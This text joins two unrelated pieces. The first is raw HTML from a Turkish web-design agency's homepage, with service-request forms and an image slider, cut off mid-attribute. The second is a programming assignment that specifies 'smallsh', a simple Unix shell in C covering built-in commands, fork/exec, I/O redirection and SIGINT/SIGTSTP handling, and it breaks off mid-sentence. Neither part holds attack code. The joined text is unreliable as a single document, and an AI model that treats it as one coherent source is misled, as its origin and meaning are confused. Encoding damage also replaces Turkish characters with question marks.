class="form-control required" placeholder="Optimize Edilecek Web Sayfa Adresiniz"> </div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Ek Istek ve Bilgilendirmeleriniz"></textarea> </div> </div> <button type="submit" name="aramam" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="reklam"> <div class="title clearfix"><img alt="INTERNET REKLAMCILIGI" src="https://www.vairosoft.com/assets/public/img/icon/target.png" pagespeed_url_hash="2288834043" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">INTERNET REKLAMCILIGI <small class="text-muted">Google Adwords, Facebook Ads, Yandex Direct reklam aglar?nda yerinizi al?n</small></div> <form id="reklamcilik" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"> <!-- Bu k?s?mda labellar ayr?lacak --> <div class="ayir"> <input type="checkbox" name="box[]" id="checkbox1" value="Google" class="css-checkbox"/><label for="checkbox1" class="css-label">Google</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkbox2" value="Facebook" class="css-checkbox"/><label for="checkbox2" class="css-label">Facebook</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkbox3" value="Yandex" class="css-checkbox"/><label for="checkbox3" class="css-label">Yandex</label> </div> <div class="ayir"> <input type="checkbox" name="box[]" id="checkbox4" value="Diger" class="css-checkbox"/><label for="checkbox4" class="css-label">Diger</label> </div> </div> </div> <div class="form-group"> <div class="col-lg-12"> <input name="anahtar" class="required" type="text" data-role="tagsinput" placeholder="Anahtar Kelimelerinizi Tek Tek Girip Enter Tusuna Bas?n?z."/> </div> </div> <div class="form-group"> <div class="col-lg-6"> <input name="gunluk" type="text" class="form-control required" placeholder="Ayr?lan Gunluk Butce Miktar? .00 TL"> </div> <div class="col-lg-6"> <input name="toplambutce" type="text" class="form-control required" placeholder="Ayr?lan Toplam Butce Miktar? .00 TL"> </div> </div> <div class="form-group"> <div class="col-lg-12"> <input name="adres" type="text" class="form-control required" placeholder="Reklam Verilecek Adresi Giriniz."> </div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Ek Istek ve Bilgilendirmeleriniz"></textarea> </div> </div> <button type="submit" name="intreklam" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> <div class="tab-pane" id="kurumsal"> <div class="title clearfix"><img alt="KURUMSAL KIMLIK CALISMALARI" src="https://www.vairosoft.com/assets/public/img/icon/corporate.png" pagespeed_url_hash="3962951853" onload="pagespeed.CriticalImages.checkImageForCriticality(this);">KURUMSAL KIMLIK CALISMALARI <small class="text-muted">Bizimle markan?z? on planda tutun.</small></div> <form id="kurumsalkimlik" class="form-horizontal" role="form" method="post" action="post"> <div class="form-group"> <div class="col-lg-6"><input name="adsoyad" type="text" class="form-control required" placeholder="Ad?n?z ve Soyad?n?z"></div> <div class="col-lg-6"><input name="eposta" type="email" class="form-control required" placeholder="E-Posta Adresiniz"></div> </div> <div class="form-group"> <div class="col-lg-6"><input name="iletisimno" type="text" class="form-control required" placeholder="Iletisim Numaran?z"></div> <div class="col-lg-6"><select name="hizmettur" class="form-control vairo required"> <option>Hizmet Turu Seciniz</option> <option>Kartvizit</option> <option>Logo</option> <option>Antetli Kag?t</option> <option>Zarf</option> <option>Arac Giydirme</option> <option>Katalog</option> <option>Promosyon Urunleri</option> <option>Diger</option> </select></div> </div> <div class="form-group"> <div class="col-lg-12"> <textarea name="aciklama" rows="10" class="form-control required" placeholder="Ek Istekler ve Bilgilendirmeler"></textarea> </div> </div> <button type="submit" name="kurumsal" value="1" class="btn btn-vairo pull-right">GONDER</button> <input name="_token" type="hidden" value="JLnr0st449nIXlYdgmG67RbVlPwussTjuDzzYhTM"></form> </div> </div> </div> </div> </div> </div> </div> </div></header><script type="text/javascript">$(function(){$('#sakla').hide();$('#webkat').hide();$('#reklamsakla').hide();});function degis(val){if(val==2){$('#sakla').show();$('#webkat').hide();}else if(val==1){$('#webkat').show();$('#sakla').hide();}else if(val==0){$('#webkat').hide();$('#sakla').hide();}}function reklam(val){if(val==0){$('#reklamsakla').hide();}else{$('#reklamsakla').show();}}</script><script type="text/javascript">$(document).ready(function(){$('#ozelwebyazilimlari').validate();$('#webtasarim').validate();$('#sosyal').validate();$('#mobil').validate();$('#aramamotoru').validate();$('#reklamcilik').validate();$('#kurumsalkimlik').validate();})</script> <script type="text/javascript">$(document).ready(function(){$('#mesajmodal').modal();})</script> </div> <!-- masterslider --> <div class="master-slider ms-skin-black-2 round-skin" id="masterslider"> <div class="ms-slide slide-1" data-delay="10"> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/img/vbg.jpg" style="width:100% !important; height:100% !important;" alt="back" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/2.png" alt="layer" class="ms-layer" style="bottom: 71px; left: 227px; z-index: 7;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="600" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/3.png" alt="layer" class="ms-layer" style="bottom: 266px; left: 267px; z-index: 7;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="700" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4.png" alt="layer" class="ms-layer" style="bottom: 119px; left: 299px; z-index: 6;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="800" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/2/2.png" alt="layer" class="ms-layer" style="bottom: 136px; left: 355px; z-index: 5;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="900" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/2/3.png" alt="layer" class="ms-layer" style="bottom: 331px; left: 396px; z-index: 5;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1000" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/2/4.png" alt="layer" class="ms-layer" style="bottom: 184px; left: 428px; z-index: 4;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1200" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/3/2.png" alt="layer" class="ms-layer" style="bottom: 201px; left: 482px; z-index: 3;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1200" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/3/3.png" alt="layer" class="ms-layer" style="bottom: 396px; left: 523px; z-index: 3;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1300" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/3/4.png" alt="layer" class="ms-layer" style="bottom: 249px; left: 554px; z-index: 2;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1400" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/10.png" alt="layer" class="ms-layer" style="bottom: 39px; left: 171px; z-index: 1;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="300" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4/2.png" alt="layer" class="ms-layer" style="bottom: 266px; left: 608px; z-index: 1;" data-type="image" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4/5.png" alt="layer" class="ms-layer" style="bottom: 359px; left: 397px; z-index: 1;" data-type="image" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4/6.png" alt="layer" class="ms-layer" style="bottom: 295px; left: 277px; z-index: 1;" data-type="image" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4/7.png" alt="layer" class="ms-layer" style="bottom: 428px; left: 509px; z-index: 1; " data-type="image" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/lane.png" alt="layer" class="ms-layer" style="bottom: 57px; left: 272px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="400" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/t1.png" alt="layer" class="ms-layer" style="bottom: 15px; left: 335px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="1000" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/t2.png" alt="layer" class="ms-layer" style="bottom: 76px; left: 459px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="1200" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/t3.png" alt="layer" class="ms-layer" style="bottom: 146px; left: 566px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="1300" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/t4.png" alt="layer" class="ms-layer" style="bottom: 214px; left: 694px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="1300" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <h3 class="ms-layer t1" style="left: 216px; bottom: 119px;" data-type="text" data-effect="left(short)" data-duration="1000" data-delay="600"> </h3> <h3 class="ms-layer t1" style="left: 334px;bottom: 202px;" data-type="text" data-effect="left(short)" data-duration="1000" data-delay="900" data-ease="easeInOutQuart"> </h3> <h3 class="ms-layer t2" style="left: 607px;bottom: 380px;" data-type="text" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeInOutQuart"> </h3> <h3 class="ms-layer t1" style="left: 470px; bottom: 258px;" data-type="text" data-effect="left(short)" data-duration="1000" data-delay="1200"> </h3> <h3 class="ms-layer test" style="left: 359px;bottom: 38px;" data-type="text" data-delay="1200" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="1800"> </h3> <h3 class="ms-layer test" style="left: 482px;bottom: 100px;" data-type="text" data-delay="1200" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="1800"> </h3> <h3 class="ms-layer test" style="left: 590px;bottom: 168px;" data-type="text" data-delay="1200" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="1800"> </h3> <h3 class="ms-layer test" style="left: 718px;bottom: 236px;" data-type="text" data-delay="1200" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="1800"> </h3> </div> <div class="ms-slide slide-2" data-delay="10"> <!-- slide background --> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/bg.jpg" alt="Slide3 Background" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/part-1.png" alt="Snow particle 1" style="left:326px; top:372px;" class="ms-layer" data-type="image" data-ease="easeOutExpo" data-duration="8000" data-delay="200" data-effect="scalefrom(0.4,0.4,180,300,br)" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/part-2.png" alt="Snow particle 2" style="left:324px; top:331px;" class="ms-layer" data-type="image" data-ease="easeOutExpo" data-delay="150" data-duration="8200" data-effect="scalefrom(0.3,0.3,180,300,br)" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/part-3.png" alt="Snow particle 3" style="left:301px; top:311px;" class="ms-layer" data-type="image" data-ease="easeOutExpo" data-duration="7400" data-effect="scalefrom(0.3,0.3,180,300,br)" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/adam1.png" alt="A guy with snowboard" style="left:170px; top:153px;" class="ms-layer" data-type="image" data-delay="0" data-ease="easeOutExpo" data-duration="5000" data-effect="scalefrom(0.7,0.7,380,450,br,false)" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <h3 class="ms-layer title1" style="left: 570px;top: 180px;" data-type="text" data-delay="1750" data-effect="left(250)" data-ease="easeInOutQuart" data-duration="2400"> </h3> <h3 class="ms-layer title2" style="left: 620px;top: 250px;" data-type="text" data-delay="2000" data-effect="left(250)" data-ease="easeInOutQuart" data-duration="2400"> </h3> <h3 class="ms-layer title3" style="left: 540px;top: 320px;" data-type="text" data-delay="2800" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="2400"> </h3> </div> </div> <!-- end of masterslider --> <script type="text/javascript">var slider=new MasterSlider();if($(window).width()<=1366&&$(window).width()>=992){var height=670;} else{var height=700;} slider.setup('masterslider',{width:980,height:height,autoplay:true,fullwidth:true,centerControls:false,speed:18});slider.control('arrows');</script> <div class="container"> <div class="how-make"> <div class="neleryapiyoruz">Biz Neynirik<small>DIJITAL DUNYAYA HAYAT VEREN COZUMLER</small></div> <div class="row"> <div class="col-lg-5 "> <div class="media"> <a class="pull-left" href="https://www.vairosoft.com/hizmetlerimiz#1"> <img alt="Ozel Web Yaz?l?mlar?" class="media-object" src="assets/public/img/icon/network.png" pagespeed_url_hash="2624423922" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-left"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#1">Ozel Web Yaz?l?mlar?</a></h2> Ihtiyaclar?n?za yonelik ozel yaz?l?mlar uretiyoruz... </div> </div> </div> <div class="col-lg-5 col-lg-offset-2"> <div class="media"> <a class="pull-right" href="https://www.vairosoft.com/hizmetlerimiz#4"> <img alt="Mobil Uygulama Gelistirme" class="media-object" src="assets/public/img/icon/mobile.png" pagespeed_url_hash="3906589564" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-right"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#4">Mobil Uygulama Gelistirme</a></h2> Size ozel Android ve IOS uygulamalar? gelistiriyoruz... </div> </div> </div> <div class="col-lg-5"> <div class="media"> <a class="pull-left" href="https://www.vairosoft.com/hizmetlerimiz#2"> <img alt="Web Tasar?m" class="media-object" src="assets/public/img/icon/design.png" pagespeed_url_hash="499719948" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-left"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#2">Web Tasar?m</a></h2> Internet standartlar?na uyumlu, kullan?c? dostu tasar?mlar... </div> </div> </div> <div class="col-lg-5 col-lg-offset-2"> <div class="media"> <a class="pull-right" href="https://www.vairosoft.com/hizmetlerimiz#5"> <img alt="SEO" class="media-object" src="assets/public/img/icon/seo.png" pagespeed_url_hash="2422097077" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-right"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#5">Arama Motoru Optimizasyonu</a></h2> Siteniz, Google, Yandex, Bing arama motorlar?nda ust s?ralarda yer als?n... </div> </div> </div> <div class="col-lg-5"> <div class="media"> <a class="pull-left" href="https://www.vairosoft.com/hizmetlerimiz#3"> <img alt="Internet Reklamc?l?g?" class="media-object" src="assets/public/img/icon/target.png" pagespeed_url_hash="2288834043" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-left"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#3">Internet Reklamc?l?g?</a></h2> Google Adwords, Facebook Ads, Yandex Direct reklam aglar?nda yerinizi al?n... </div> </div> </div> <div class="col-lg-5 col-lg-offset-2"> <div class="media"> <a class="pull-right" href="https://www.vairosoft.com/hizmetlerimiz#6"> <img alt="Sosyal Medya Uygulamalar?" class="media-object" src="assets/public/img/icon/social.png" pagespeed_url_hash="58202655" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-right"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#6">Sosyal Medya Uygulamalar?</a></h2> Hayalinizi Facebook ve Twitter uygulamas?na donusturun... </div> </div> </div> </div> </div> </div> <div class="botbg big"> <div class="container"> <div class="row"> <div class="col-lg-7"><p>Bultenimize abone olun, sitemizdeki guncellemelerden ve yeni yaz?l?mlardan ilk sizin haberiniz olsun!</p></div> <div class="col-lg-5"> <form id="bulten" class="form-inline" role="form" method="post" action="post"> <div class="form-group"> <input id="b" name="bulten" type="email" class="form-control required" placeholder="E-Posta adresinizi buraya giriniz..."> <button id="bultensub" type="submit" name="bultenkabul" value="1" class="btn btn-vairo">ABONE OL!</button> </div> </form> </div> <img class="arrow visible-lg" src="https://www.vairosoft.com/assets/public/img/arrow.png" alt="abone ol" pagespeed_url_hash="3533923121" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </div> </div> <div class="gettopwrap"><a class="gettop" id="goToTop" href="#"></a></div> </div> <script>$(document).ready(function(){$('#bulten').validate({errorPlacement:function(error,element){return true;}});});</script> <footer> <div class="container"> <div class="col-sm-8"> <div class="footleft clearfix"> <img alt="web tasar?m ankara" id="logo" title="web tasar?m ankara" src="" pagespeed_url_hash="582463774" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> <ul class="list-inline list-unstyled"> <li style="color:#b6b6b6;">© 2015 KomputerService | Tum Haklar? Sakl?d?r</li> </ul> <ul class="list-inline list-unstyled"> <li><a href="https://www.vairosoft.com/kurumsal">KURUMSAL</a></li><li><a href="https://www.vairosoft.com/hizmetlerimiz">HIZMETLERIMIZ</a></li><li><a href="https://www.vairosoft.com/hazir-cozumler">HAZIR COZUMLER</a></li><li><a href="https://www.vairosoft.com/referanslar">REFERANSLAR</a></li><li><strong><a href="https://www.vairosoft.com/" title="Web Tasar?m">WEB TASARIM ANKARA</a></strong></li><li><a href="https://www.vairosoft.com/iletisim">ILETISIM</a></li> </ul> <ul class="list-inline list-unstyled standartlar"> <li><img src="https://www.vairosoft.com/assets/public/img/html5-logo.png" alt="HTML5" pagespeed_url_hash="826187752" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"></li> <li><img src="https://www.vairosoft.com/assets/public/img/css3-logo.png" alt="CSS3" pagespeed_url_hash="987198328" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"></li> <li><img src="https://www.vairosoft.com/assets/public/img/w3c-logo.png" alt="W3C" pagespeed_url_hash="1132793179" onload="pagespeed.CriticalImages.checkImageForCritic
thehuy2000 / CS344 OSI Assignment 3 Small ShellIn this assignment you will write smallsh your own shell in C. smallsh will implement a subset of features of well-known shells, such as bash. Your program will Provide a prompt for running commands Handle blank lines and comments, which are lines beginning with the # character Provide expansion for the variable $$ Execute 3 commands exit, cd, and status via code built into the shell Execute other commands by creating new processes using a function from the exec family of functions Support input and output redirection Support running commands in foreground and background processes Implement custom handlers for 2 signals, SIGINT and SIGTSTP Learning Outcomes After successful completion of this assignment, you should be able to do the following Describe the Unix process API (Module 4, MLO 2) Write programs using the Unix process API (Module 4, MLO 3) Explain the concept of signals and their uses (Module 5, MLO 2) Write programs using the Unix API for signal handling (Module 5, MLO 3) Explain I/O redirection and write programs that can employ I/O redirection (Module 5, MLO 4) Program Functionality 1. The Command Prompt Use the colon : symbol as a prompt for each command line. The general syntax of a command line is: command [arg1 arg2 ...] [< input_file] [> output_file] [&] …where items in square brackets are optional. You can assume that a command is made up of words separated by spaces. The special symbols <, > and & are recognized, but they must be surrounded by spaces like other words. If the command is to be executed in the background, the last word must be &. If the & character appears anywhere else, just treat it as normal text. If standard input or output is to be redirected, the > or < words followed by a filename word must appear after all the arguments. Input redirection can appear before or after output redirection. Your shell does not need to support any quoting; so arguments with spaces inside them are not possible. We are also not implementing the pipe "|" operator. Your shell must support command lines with a maximum length of 2048 characters, and a maximum of 512 arguments. You do not need to do any error checking on the syntax of the command line. 2. Comments & Blank Lines Your shell should allow blank lines and comments. Any line that begins with the # character is a comment line and should be ignored. Mid-line comments, such as the C-style //, will not be supported. A blank line (one without any commands) should also do nothing. Your shell should just re-prompt for another command when it receives either a blank line or a comment line. 3. Expansion of Variable $$ Your program must expand any instance of "$$" in a command into the process ID of the smallsh itself. Your shell does not otherwise perform variable expansion. 4. Built-in Commands Your shell will support three built-in commands: exit, cd, and status. These three built-in commands are the only ones that your shell will handle itself - all others are simply passed on to a member of the exec() family of functions. You do not have to support input/output redirection for these built in commands These commands do not have to set any exit status. If the user tries to run one of these built-in commands in the background with the & option, ignore that option and run the command in the foreground anyway (i.e. don't display an error, just run the command in the foreground). exit The exit command exits your shell. It takes no arguments. When this command is run, your shell must kill any other processes or jobs that your shell has started before it terminates itself. cd The cd command changes the working directory of smallsh. By itself - with no arguments - it changes to the directory specified in the HOME environment variable This is typically not the location where smallsh was executed from, unless your shell executable is located in the HOME directory, in which case these are the same. This command can also take one argument: the path of a directory to change to. Your cd command should support both absolute and relative paths. status The status command prints out either the exit status or the terminating signal of the last foreground process ran by your shell. If this command is run before any foreground command is run, then it should simply return the exit status 0. The three built-in shell commands do not count as foreground processes for the purposes of this built-in command - i.e., status should ignore built-in commands. 5. Executing Other Commands Your shell will execute any commands other than the 3 built-in command by using fork(), exec() and waitpid() Whenever a non-built in command is received, the parent (i.e., smallsh) will fork off a child. The child will use a function from the exec() family of functions to run the command. Your shell should use the PATH variable to look for non-built in commands, and it should allow shell scripts to be executed If a command fails because the shell could not find the command to run, then the shell will print an error message and set the exit status to 1 A child process must terminate after running a command (whether the command is successful or it fails). 6. Input & Output Redirection You must do any input and/or output redirection using dup2(). The redirection must be done before using exec() to run the command. An input file redirected via stdin should be opened for reading only; if your shell cannot open the file for reading, it should print an error message and set the exit status to 1 (but don't exit the shell). Similarly, an output file redirected via stdout should be opened for writing only; it should be truncated if it already exists or created if it does not exist. If your shell cannot open the output file it should print an error message and set the exit status to 1 (but don't exit the shell). Both stdin and stdout for a command can be redirected at the same time (see example below). 7. Executing Commands in Foreground & Background Foreground Commands Any command without an & at the end must be run as a foreground command and the shell must wait for the completion of the command before prompting for the next command. For such commands, the parent shell does NOT return command line access and control to the user until the child terminates. Background Commands Any non built-in command with an & at the end must be run as a background command and the shell must not wait for such a command to complete. For such commands, the parent must return command line access and control to the user immediately after forking off the child. The shell will print the process id of a background process when it begins. When a background process terminates, a message showing the process id and exit status will be printed. This message must be printed just before the prompt for a new command is displayed. If the user doesn't redirect the standard input for a background command, then standard input should be redirected to /dev/null If the user doesn't redirect the standard output for a background command, then standard output should be redirected to /dev/null 8. Signals SIGINT & SIGTSTP SIGINT A CTRL-C command from the keyboard sends a SIGINT signal to the parent process and all children at the same time (this is a built-in part of Linux). Your shell, i.e., the parent process, must ignore SIGINT Any children running as background processes must ignore SIGINT A child running as a foreground process must terminate itself when it receives SIGINT The parent must not attempt to terminate the foreground child process; instead the foreground child (if any) must terminate itself on receipt of this signal. If a child foreground process is killed by a signal, the parent must immediately print out the number of the signal that killed it's foreground child process (see the example) before prompting the user for the next command. SIGTSTP A CTRL-Z command from the keyboard sends a SIGTSTP signal to your parent shell process and all children at the same time (this is a built-in part of Linux). A child, if any, running as a foreground process must ignore SIGTSTP. Any children running as background process must ignore SIGTSTP. When the parent process running the shell receives SIGTSTP The shell must display an informative message (see below) immediately if it's sitting at the prompt, or immediately after any currently running foreground process has terminated The shell then enters a state where subsequent commands can no longer be run in the background. In this state, the & operator should simply be ignored, i.e., all such commands are run as if they were foreground processes. If the user sends SIGTSTP again, then your shell will Display another informative message (see below) immediately after any currently running foreground process terminates The shell then returns back to the normal condition where the & operator is once again honored for subsequent commands, allowing them to be executed in the background. See the example below for usage and the exact syntax which you must use for these two informative messages. Sample Program Execution Here is an example run using smallsh. Note that CTRL-C has no effect towards the bottom of the example, when it's used while sitting at the command prompt: $ smallsh : ls junk smallsh smallsh.c : ls > junk : status exit value 0 : cat junk junk smallsh smallsh.c : wc < junk > junk2 : wc < junk 3 3 23 : test -f badfile : status exit value 1 : wc < badfile cannot open badfile for input : status exit value 1 : badfile badfile: no such file or directory : sleep 5 ^Cterminated by signal 2 : status & terminated by signal 2 : sleep 15 & background pid is 4923 : ps PID TTY TIME CMD 4923 pts/0 00:00:00 sleep 4564 pts/0 00:00:03 bash 4867 pts/0 00:01:32 smallsh 4927 pts/0 00:00:00 ps : : # that was a blank command line, this is a comment line : background pid 4923 is done: exit value 0 : # the background sleep finally finished : sleep 30 & background pid is 4941 : kill -15 4941 background pid 4941 is done: terminated by signal 15 : pwd /nfs/stak/users/chaudhrn/CS344/prog3 : cd : pwd /nfs/stak/users/chaudhrn : cd CS344 : pwd /nfs/stak/users/chaudhrn/CS344 : echo 4867 4867 : echo $$ 4867 : ^C^Z Entering foreground-only mode (& is now ignored) : date Mon Jan 2 11:24:33 PST 2017 : sleep 5 & : date Mon Jan 2 11:24:38 PST 2017 : ^Z Exiting foreground-only mode : date Mon Jan 2 11:24:39 PST 2017 : sleep 5 & background pid is 4963 : date Mon Jan 2 11:24:39 PST 2017 : exit $ Hints & Resources 1. The Command Prompt Be sure you flush out the output buffers each time you print, as the text that you're outputting may not reach the screen until you do in this kind of interactive program. To do this, call fflush() immediately after each and every time you output text. Consider defining a struct in which you can store all the different elements included in a command. Then as you parse a command, you can set the value of members of a variable of this struct type. 2. Comments & Blank Lines This should be simple. 3. Expansion of Variable $$ Here are examples to illustrate the required behavior. Suppose the process ID of smallsh is 179. Then The string foo$$$$ in the command is converted to foo179179 The string foo$$$ in the command is converted to foo179$ 4. Built-in Commands It is recommended that you program the built-in commands first, before tackling the commands that require fork(), exec() and waitpid(). The built-in commands don't set the value of status. This means that however you are keeping track of the status, don't 